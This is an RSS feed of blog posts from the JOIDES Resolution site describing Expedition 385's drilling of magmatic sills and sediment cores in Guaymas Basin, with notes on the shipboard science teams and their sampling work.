<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>magma – JOIDES Resolution</title> <atom:link href="https://joidesresolution.org/tag/magma/feed/" rel="self" type="application/rss+xml" /> <link>https://joidesresolution.org</link> <description>Science in Search of Earth's Secrets</description> <lastBuildDate>Tue, 05 Nov 2019 01:55:31 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <image> <url>https://joidesresolution.org/wp-content/uploads/2017/06/cropped-Anchor-32x32.png</url> <title>magma – JOIDES Resolution</title> <link>https://joidesresolution.org</link> <width>32</width> <height>32</height> </image> <item> <title>The Two Towers</title> <link>https://joidesresolution.org/the-two-towers/?utm_source=rss&utm_medium=rss&utm_campaign=the-two-towers</link> <comments>https://joidesresolution.org/the-two-towers/#respond</comments> <dc:creator><![CDATA[Andreas Teske]]></dc:creator> <pubDate>Mon, 04 Nov 2019 18:27:18 +0000</pubDate> <category><![CDATA[Drilling]]></category> <category><![CDATA[Guaymas Basin]]></category> <category><![CDATA[petrology]]></category> <category><![CDATA[Volcanoes]]></category> <category><![CDATA[EXP385]]></category> <category><![CDATA[fellowship]]></category> <category><![CDATA[Guaymas]]></category> <category><![CDATA[hydrothermal]]></category> <category><![CDATA[magma]]></category> <category><![CDATA[reinvent]]></category> <category><![CDATA[ring]]></category> <category><![CDATA[rocks]]></category> <category><![CDATA[sills]]></category> <guid isPermaLink="false">https://joidesresolution.org/?p=35907</guid> <description><![CDATA[We are back at Site 1545 and drill hole C, to recover fresh microbiology samples. New cores come up every... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/the-two-towers/" title="Continue reading The Two Towers">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>We are back at Site 1545 and drill hole C, to recover fresh microbiology samples. New cores come up every 35 to 45 minutes, and the highly experienced microbiology teams dispatch them as they come up. Since no core must be left undescribed, the sedimentologists have graciously agreed to describe the entire sediment sequence again, claiming — in Ivano’s words — that it is nice to see old friends again. The geochemists are not displeased to have a second shot at this site, to iron out some wobbles from the “training phase†of this cruise. While microbiology and geochemistry crew members dash in and out to keep up with the core flow, the next Ringvent-themed event begins: “The Two Towers†Rock show.</p> <p> </p> <figure id="attachment_35909" aria-describedby="caption-attachment-35909" style="width: 700px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="wp-image-35909" src="https://joidesresolution.org/wp-content/uploads/2019/11/Oct30CoreTableSpecimens-300x225.jpg" alt="" width="700" height="525" srcset="https://joidesresolution.org/wp-content/uploads/2019/11/Oct30CoreTableSpecimens-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/11/Oct30CoreTableSpecimens-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/11/Oct30CoreTableSpecimens-1024x768.jpg 1024w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption id="caption-attachment-35909" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p> </p> <p>On display are now Barad-dûr and Isengard, pardon, 1547D and 1548A. The massive 1547D core — our mysterious Barad-dûr that was never fully penetrated to the bottom – undergoes visible mineralogical changes throughout, many of them so intricate that a full accounting of them will be completed only on shore.</p> <p>Non-mineralogists look on intently, as the event unfolds as a dialog between savants Tobias and Joann, with interjections and audience questions.</p> <p>Here Joann is responding to a question about columnar basalts and their fracture properties, coming from microbiologist Virginia Edgcomb. Only on the JR!</p> <p> </p> <figure id="attachment_35912" aria-describedby="caption-attachment-35912" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-35912" src="https://joidesresolution.org/wp-content/uploads/2019/11/OctJoannStockExplains-300x225.jpg" alt="" width="700" height="525" srcset="https://joidesresolution.org/wp-content/uploads/2019/11/OctJoannStockExplains-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/11/OctJoannStockExplains-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/11/OctJoannStockExplains-1024x768.jpg 1024w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption id="caption-attachment-35912" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p> </p> <p>It is almost as if we are discussing living creatures; the immutable rocks reveal their peculiar history and disturbances… this blogger will never look at roadside rocks again without inspecting them for brecciated alteration fronts and sediment infilling, as beautifully displayed in this specimen.</p> <p> </p> <figure id="attachment_35908" aria-describedby="caption-attachment-35908" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-35908" src="https://joidesresolution.org/wp-content/uploads/2019/11/Oct30BrecchaitedBeauty1-300x225.jpg" alt="" width="700" height="525" srcset="https://joidesresolution.org/wp-content/uploads/2019/11/Oct30BrecchaitedBeauty1-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/11/Oct30BrecchaitedBeauty1-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/11/Oct30BrecchaitedBeauty1-1024x768.jpg 1024w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption id="caption-attachment-35908" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p> </p> <p>… and on the drill floor, the drumbeat goes on… this will be the fastest 300-meter hole ever drilled.</p> <p> </p> <p><em>This blog post <a href="https://expedition385.wordpress.com/2019/10/30/oct-30-the-two-towers/" target="_blank" rel="noopener noreferrer" data-slimstat="5">first appeared</a> on Oct. 30 on my daily blog of EXP385. Make sure to go to <a href="https://expedition385.wordpress.com/" target="_blank" rel="noopener noreferrer" data-slimstat="5">expedition385.wordpress.com</a> to read the latest updates of this expedition!</em></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/the-two-towers/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Seriously Hardcore</title> <link>https://joidesresolution.org/seriously-hardcore/?utm_source=rss&utm_medium=rss&utm_campaign=seriously-hardcore</link> <comments>https://joidesresolution.org/seriously-hardcore/#respond</comments> <dc:creator><![CDATA[Andreas Teske]]></dc:creator> <pubDate>Mon, 14 Oct 2019 17:40:34 +0000</pubDate> <category><![CDATA[Drilling]]></category> <category><![CDATA[Guaymas Basin]]></category> <category><![CDATA[History of Earth]]></category> <category><![CDATA[Microbes]]></category> <category><![CDATA[Microfossils]]></category> <category><![CDATA[Paleomagnetism]]></category> <category><![CDATA[petrology]]></category> <category><![CDATA[EXP385]]></category> <category><![CDATA[magma]]></category> <category><![CDATA[microbes]]></category> <category><![CDATA[microbiology]]></category> <category><![CDATA[samples]]></category> <category><![CDATA[sill]]></category> <guid isPermaLink="false">https://joidesresolution.org/?p=35629</guid> <description><![CDATA[There is no doubt — we are now drilling into the sill. The next core brings an alternating sequence of... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/seriously-hardcore/" title="Continue reading Seriously Hardcore">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>There is no doubt — we are now drilling into the sill. The next core brings an alternating sequence of rocks and hardened sediment, broken into bits but suspiciously looking like the contact interface where the hot magmatic sills have impinged on the cool marine mud into which they inserted themselves. The news means salvation for the hard rock geologists or petrologists; they have now a reasonable prospect of working on something close to their heart instead of being delegated to other groups. Here, petrologists Khogen Singh, Wei Xie, and micropalaeontologist Shijun Jiang are enchanted by a piece of good dolerite sill in the core catcher.</p> <p> </p> <figure id="attachment_35673" aria-describedby="caption-attachment-35673" style="width: 700px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-35673" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11PetrologistCrew-300x225.jpg" alt="" width="700" height="525" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11PetrologistCrew-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11PetrologistCrew-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11PetrologistCrew-1024x768.jpg 1024w" sizes="auto, (max-width: 700px) 100vw, 700px" /><figcaption id="caption-attachment-35673" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p> </p> <p>Microbiologists are also quite excited, mostly about the transition from sediment that potentially contains microbes, to rock, which is less likely to contain microbes unless we find a nice fissure or cavity that provides a microbial refuge. The sediment-sill transition interval is treated as if it came from Mars, an extraterrestrial sample prone to contamination by earthlings, and approached only with gloves and breathing masks.</p> <figure id="attachment_35674" aria-describedby="caption-attachment-35674" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35674" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SampligDramaYukiDidi-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SampligDramaYukiDidi-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SampligDramaYukiDidi-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SampligDramaYukiDidi-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35674" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>For the last three days, the microbiology and geochemistry groups have discussed an elaborate sampling plan for these critical intervals; there is not much sample material, and whatever there is has to be treated gently and sampled with as much restraint as possible. Here, Yuki and Didi (a.k.a. Diana Bojanova from USC) are cleaning the most substantial chunk of rock with sterile artificial seawater, before X-raying the core samples and looking for interior veins lined with calcite or other microbe-friendly minerals.</p> <p>An <em>ad-hoc</em> sampling committee convenes on the spot, consisting of myself, co-chief Dan Lizarralde, petrologist Khogen Singh, curator Brittney, and much of the microbiology group as an advisory body. In situations like this, it is important to have all stakeholders in the lab together, to make consensus decisions and to prevent wild sampling that interferes with other interests or even destroys unique samples. Science has changed greatly since the 1830s, when Charles Darwin and a hunting party in the Pampas of Argentina shot a big bird for dinner, realizing much later that they had eaten a previously unknown member of the ostrich family, <a href="https://en.wikipedia.org/wiki/Darwin%27s_rhea" target="_blank" rel="noopener noreferrer"><em>Rhea</em><em>darwinii</em></a>. It is charming to have your mistakes named for you, but it won’t happen here…</p> <figure id="attachment_35671" aria-describedby="caption-attachment-35671" style="width: 300px" class="wp-caption alignright"><img loading="lazy" decoding="async" class="size-medium wp-image-35671" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11Hammerit-300x232.jpg" alt="" width="300" height="232" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11Hammerit-300x232.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11Hammerit-768x594.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11Hammerit-1024x792.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35671" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>Assistant Lab officer Aaron is chiseling some crumbs from a block of hardened, pitch-black sediment, the most extreme sample of what happens to marine sediments when they are pressure-cooked by immediate contact with magma. The crumbs will be checked for residual organic matter and hydrocarbon content.</p> <p>We expect that the sediment has mostly lost its natural organic carbon content, and the pressure-cooked organic matter was transformed into hydrocarbons and driven out; but some especially recalcitrant types of organic matter and petroleum might still be there. Past events of pressure-cooking large amounts of organic-rich marine sediment appear to have produced shock waves of the greenhouse gas methane, and methane-induced heat waves.</p> <figure id="attachment_35675" aria-describedby="caption-attachment-35675" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35675" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SamplingPartyII-300x229.jpg" alt="" width="300" height="229" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SamplingPartyII-300x229.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SamplingPartyII-768x585.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11SamplingPartyII-1024x780.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35675" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>The sampling party continues into the early morning, and by noon another sampling party is starting, this time on the working half of the sill sample from Hole A, now split and laid out in stratigraphic sequence for inspection. Again, the co-chiefs, curator Brittney, project manager Tobias, and interested scientists of mostly hard rock preference — Christophe Galerne, Myriam Kars, microfossil expert Ligia Pérez Cruz, and Louise Koornneef — are present and will mark their sampling spots with small flags.</p> <figure id="attachment_35678" aria-describedby="caption-attachment-35678" style="width: 300px" class="wp-caption alignright"><img loading="lazy" decoding="async" class="size-medium wp-image-35678" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11WatchingRigfloorTV-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct11WatchingRigfloorTV-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11WatchingRigfloorTV-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct11WatchingRigfloorTV-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35678" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>The hard-rock sampling parties will have lots to do; the sills are coming up and the drilling works really well. Some of the bounty is presented, and it becomes quite clear that the volcanic rock is slowly changing color and consistency with depth. Obtaining a complete section through a sill that has been waiting here undisturbed for 300,000 years, and the carbon cycle story of sill emplacement and hydrocarbon mobilization on top of that, is more or less the dream of this expedition. The hard rock geologists finally forgive the microbiologists and micropaleontologists for the endless diatom oozes (not much better than marine microbial slime) that they had to process as part of the communal shipboard effort.</p> <p>The day shift technicians and outreach officer Rodrigo are watching rig floor TV, the JR’s live circuit to the rig floor where coring is ongoing, and wait for the next core that can arrive any moment. Keep the rocks coming and life is good again.</p> <p> </p> <p><em>This blog post <a href="https://expedition385.wordpress.com/2019/10/07/oct-7-its-a-sill/" target="_blank" rel="noopener noreferrer" data-slimstat="5">first appeared</a> on Oct. 11 on my daily blog of EXP385. Make sure to go to <a href="https://expedition385.wordpress.com/" target="_blank" rel="noopener noreferrer" data-slimstat="5">expedition385.wordpress.com</a> to read the latest updates of this expedition!</em></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/seriously-hardcore/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>It’s a Sill!!!</title> <link>https://joidesresolution.org/its-a-sill/?utm_source=rss&utm_medium=rss&utm_campaign=its-a-sill</link> <comments>https://joidesresolution.org/its-a-sill/#respond</comments> <dc:creator><![CDATA[Andreas Teske]]></dc:creator> <pubDate>Tue, 08 Oct 2019 22:30:22 +0000</pubDate> <category><![CDATA[Drilling]]></category> <category><![CDATA[Guaymas Basin]]></category> <category><![CDATA[History of Earth]]></category> <category><![CDATA[petrology]]></category> <category><![CDATA[Physcial Properties]]></category> <category><![CDATA[Sedimentology]]></category> <category><![CDATA[Volcanoes]]></category> <category><![CDATA[core]]></category> <category><![CDATA[EXP385]]></category> <category><![CDATA[hydrothermal]]></category> <category><![CDATA[igneous rock]]></category> <category><![CDATA[magma]]></category> <category><![CDATA[rock]]></category> <category><![CDATA[sill]]></category> <category><![CDATA[volcano]]></category> <guid isPermaLink="false">https://joidesresolution.org/?p=35602</guid> <description><![CDATA[Sometimes a picture says more than thousand words, as you can see in the top photo. It’s a sill!!! After... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/its-a-sill/" title="Continue reading It’s a Sill!!!">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>Sometimes a picture says more than thousand words, as you can see in the top photo.</p> <p>It’s a sill!!! After tough and difficult drilling through brick-like sediments, the massive sill layer has been reached and picture-book samples of perfectly drilled volcanic rock have just arrived. Here, assistant lab officer Beth Novak, geophysicist Christophe Galerne and technician San Boehm shout it out: “IT’S A SILL!!!” Master photographer Tim Fulton captures the moment.</p> <p>But one thing after another. During the sunset hours on Sunday, a “sediment†core comes up that contains deep-black sediment, various crumbly bits, and a piece of solid rock in the core catcher. This puts everyone on high alert — we might be approaching the sill.</p> <figure id="attachment_35604" aria-describedby="caption-attachment-35604" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="wp-image-35604 size-medium" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6DeepestSediment-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6DeepestSediment-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6DeepestSediment-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6DeepestSediment-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35604" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <figure id="attachment_35605" aria-describedby="caption-attachment-35605" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="wp-image-35605 size-medium" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6FirstSillSample-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6FirstSillSample-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6FirstSillSample-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6FirstSillSample-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35605" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>The core catcher functions as the bottom plug of every core; it has moveable metal teeth that fold out during core recovery and hold the entire sediment or rock core in place before it can slide back under its own weight. By capturing the bottom bits of each core, the core catcher always contains the deepest material that is recovered during each drilling step, and provides a preview of what is about to come up in the next core. This small shiny piece of rock pictured on the side means that now we are really up to something.</p> <p>The next core is coming up after dark and the catwalk gets very busy. Here, the core catcher is handed over by the drill crew; they know how difficult it is to drill into rock without breaking it to pieces, they know that this core will be good, and they are clearly proud of their work!</p> <figure id="attachment_35606" aria-describedby="caption-attachment-35606" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-35606" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6CorecatcherHandover-300x225.jpg" alt="" width="600" height="450" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6CorecatcherHandover-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6CorecatcherHandover-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6CorecatcherHandover-1024x768.jpg 1024w" sizes="auto, (max-width: 600px) 100vw, 600px" /><figcaption id="caption-attachment-35606" class="wp-caption-text">The drilling crew hands over the precious core catcher. Credit: Andreas Teske.</figcaption></figure> <p>The core catcher that comes up together with the shout-inducing core contains another beautiful sample that continues the rock core downwards and dispels any doubt — we are within the sill. Here, technician Susan Boehm, Tobias, geochemist Ji-hoon Kim and Ligia Pérez Cruz are admiring the evidence and pronounce, “It’s a sill!â€</p> <figure id="attachment_35607" aria-describedby="caption-attachment-35607" style="width: 300px" class="wp-caption alignright"><img loading="lazy" decoding="async" class="size-medium wp-image-35607" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6ItsaSill-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6ItsaSill-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6ItsaSill-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6ItsaSill-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35607" class="wp-caption-text">Susan, Tobias, Ji-Hoon and Ligia admire the sill. Credit: Andreas Teske.</figcaption></figure> <p>The core is broken in a few places, but otherwise nicely intact. The individual pieces fit each other so well that many can be glued together for scanning and imaging, of course with a special rock glue. Good recovery can never be taken for granted; many rock drills recover only shattered bits and pieces. Up close, the rock looks like an Italian terrazzo floor of large, bright crystals embedded into a darker host rock; the crystals originate from slow cooling of magma.</p> <figure id="attachment_35608" aria-describedby="caption-attachment-35608" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35608" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BabysittingtheSill-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BabysittingtheSill-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BabysittingtheSill-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BabysittingtheSill-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35608" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>We are so impressed with the high quality of this core that two more hours are spent on one more go at this site, to sample the sill even more deeply. The second sill sample is even better: a smooth column of rock, chiseled out with delicate care 358 meters below the seafloor. This sill is no longer glowing hot as when it was emplaced several hundred thousand years ago; since then it has cooled down to the temperature of the ambient sediment column and is in thermal equilibrium with its environment. But the chemical and microbial traces of this intrusion event are still there and remain to be traced in the sediment column; this is the heart of the scientific mission for this site.</p> <p> </p> <figure id="attachment_35609" aria-describedby="caption-attachment-35609" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35609" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6TheXMenPartII-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6TheXMenPartII-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6TheXMenPartII-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6TheXMenPartII-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35609" class="wp-caption-text">The technicians a.k.a. The X-Men. Credit: Andreas Teske.</figcaption></figure> <p>The historic sill recovery is carried out and witnessed by the X-Men night shift: Underway technician Dan Marone, lab officer Lisa Crowder, technician Jasmine Baloch, X-Ray technician Mackenzie Schoemann, assistant lab officer Beth Novak, and technician Susan Boehm.</p> <figure id="attachment_35610" aria-describedby="caption-attachment-35610" style="width: 225px" class="wp-caption alignright"><img loading="lazy" decoding="async" class="size-medium wp-image-35610" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BeautifullSill-225x300.jpg" alt="" width="225" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BeautifullSill-225x300.jpg 225w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6BeautifullSill-768x1024.jpg 768w" sizes="auto, (max-width: 225px) 100vw, 225px" /><figcaption id="caption-attachment-35610" class="wp-caption-text">Credit: Andreas Teske.</figcaption></figure> <p>It would have been tempting to continue, but next we have a microbiology hole, and the microbiology shift is waiting and can tackle more cores after processing the overload from the previous site. We declare “End of Hole†and the JR moves 20 meters east to begin the next hole at this site.</p> <p>The sill cores are set aside for description, but everything has to be done in proper order and jumping ahead is not permitted. The core description team is steadily making progress towards deeper and deeper sediments and will finally catch up.</p> <figure id="attachment_35611" aria-describedby="caption-attachment-35611" style="width: 300px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="size-medium wp-image-35611" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6HuntingHydrothermalAlteration-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct6HuntingHydrothermalAlteration-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6HuntingHydrothermalAlteration-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct6HuntingHydrothermalAlteration-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-35611" class="wp-caption-text">Martine, Joann and Wei take a close look at hydrothermal activity signatures. Credit: Andreas Teske.</figcaption></figure> <p>Here, Martine Buatier, Joann Stock and Wei Xei, from Hohai University in Nanjing, China, are looking for hydrothermal alteration signatures in a core midway down the sediment column, near the topmost reach of hydrothermal fluids that have bubbled up at the time when the hot sill intruded into the sediment column. They all wear the latest fashionable JR color: hydrothermal metal sulfide black. Diatom Olive Green of Site 1545 is so passé…</p> <p> </p> <p><em>This blog post <a href="https://expedition385.wordpress.com/2019/10/07/oct-7-its-a-sill/" target="_blank" rel="noopener noreferrer" data-slimstat="5">first appeared</a> on Oct. 7 on my daily blog of EXP385. Make sure to go to <a href="https://expedition385.wordpress.com/" target="_blank" rel="noopener noreferrer" data-slimstat="5">expedition385.wordpress.com</a> to read the latest updates of this expedition!</em></p> <p> </p> <p> </p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/its-a-sill/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>The Challenge of Massive Sills at Site 1546</title> <link>https://joidesresolution.org/the-challenge-of-massive-sills-at-site-1546/?utm_source=rss&utm_medium=rss&utm_campaign=the-challenge-of-massive-sills-at-site-1546</link> <comments>https://joidesresolution.org/the-challenge-of-massive-sills-at-site-1546/#comments</comments> <dc:creator><![CDATA[Andreas Teske]]></dc:creator> <pubDate>Sat, 05 Oct 2019 17:31:03 +0000</pubDate> <category><![CDATA[Biostratigraphy]]></category> <category><![CDATA[Drilling]]></category> <category><![CDATA[Education]]></category> <category><![CDATA[Guaymas Basin]]></category> <category><![CDATA[petrology]]></category> <category><![CDATA[Volcanoes]]></category> <category><![CDATA[core]]></category> <category><![CDATA[EXP385]]></category> <category><![CDATA[magma]]></category> <category><![CDATA[sills]]></category> <guid isPermaLink="false">https://joidesresolution.org/?p=35581</guid> <description><![CDATA[The last cores of our “cold sediment†standard site 1545 are coming up after midnight, from ca. 350 meters depth;... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/the-challenge-of-massive-sills-at-site-1546/" title="Continue reading The Challenge of Massive Sills at Site 1546">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>The last cores of our “cold sediment†standard site 1545 are coming up after midnight, from ca. 350 meters depth; further drilling at this site stops since the drilling tools become overheated and damaged as they try to recover increasingly uncooperative sediment. The thermal gradient of Hole B is entirely consistent with Hole A, and temperatures at this depth reach over 80°C and into the hyperthermophilic range: plenty of hot sediment for microbiology and biogeochemistry at the very limits of life. Here (top image), biogeochemist Verena Heuer, operations superintendent Kevin Griger, geochemist Ji-Hoon Kim, and microbiologists Yuki Morono and Nicolette Meyer [from left to right] are awaiting the fresh core, knowing — or fearing — that it might be the last good core in this hole.</p> <figure id="attachment_35590" aria-describedby="caption-attachment-35590" style="width: 500px" class="wp-caption alignleft"><img loading="lazy" decoding="async" class="wp-image-35590" src="https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-5.18.20-PM-300x206.png" alt="" width="500" height="344" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-5.18.20-PM-300x206.png 300w, https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-5.18.20-PM-768x529.png 768w, https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-5.18.20-PM-1024x705.png 1024w, https://joidesresolution.org/wp-content/uploads/2019/10/Screen-Shot-2019-10-05-at-5.18.20-PM.png 1816w" sizes="auto, (max-width: 500px) 100vw, 500px" /><figcaption id="caption-attachment-35590" class="wp-caption-text">Sills are formed when magma spreads sideways in-between the layers of sediments — sometimes crossing them. (From: Planke et al., 2018).</figcaption></figure> <p>By 9 a.m. in the morning, the JOIDES Resolution has moved ca. 1.5 km or 1 mile southeast, closer to Isla Tortuga. Here, massive basaltic sills have inserted themselves into the sediments at approx. 300 meters depth. The second site of this expedition will be drilled here, site U1546 in official IODP numbering.</p> <p>A quick refresher: <a href="https://en.wikipedia.org/wiki/Sill_(geology)" target="_blank" rel="noopener noreferrer">sills</a> originate when migrating magma is no longer rising upwards towards the seafloor, but finds easily breakable sediment layers that allow for expansion sideways, in doing so the intruding sheet of lava is lifting and distorting the entire overlying sediment pile. The end result is a layer cake with baked marine sediment below and above the hot magmatic layer. Experts on the ship point out that the correct term for this rock is not “lava†(a term that is reserved for magmatic surface flow), but dolerite; thus “doleritic sillsâ€. Followers of this blog <a href="https://expedition385.wordpress.com/2019/10/01/sept-30-guaymas-basin-500-m-downcore/" target="_blank" rel="noopener noreferrer">have seen one of these doleritic sills already</a>. Petrographic thin section analysis of the mineral matrix has shown that “Silly,†the much-debated 0.5-meter basalt layer recovered near the bottom of hole A, is a true sill — almost certainly the outermost end of a thicker sill that is extending northwards.</p> <p> </p> <figure id="attachment_35583" aria-describedby="caption-attachment-35583" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-35583" src="https://joidesresolution.org/wp-content/uploads/2019/10/Oct4LittleSillySlide-791x1024.jpg" alt="" width="600" height="776" srcset="https://joidesresolution.org/wp-content/uploads/2019/10/Oct4LittleSillySlide-791x1024.jpg 791w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct4LittleSillySlide-232x300.jpg 232w, https://joidesresolution.org/wp-content/uploads/2019/10/Oct4LittleSillySlide-768x994.jpg 768w" sizes="auto, (max-width: 600px) 100vw, 600px" /><figcaption id="caption-attachment-35583" class="wp-caption-text">“Silly” is a true sill. The insert shows the whiteboard record of intense geological debate on the JR. Credit: Andreas 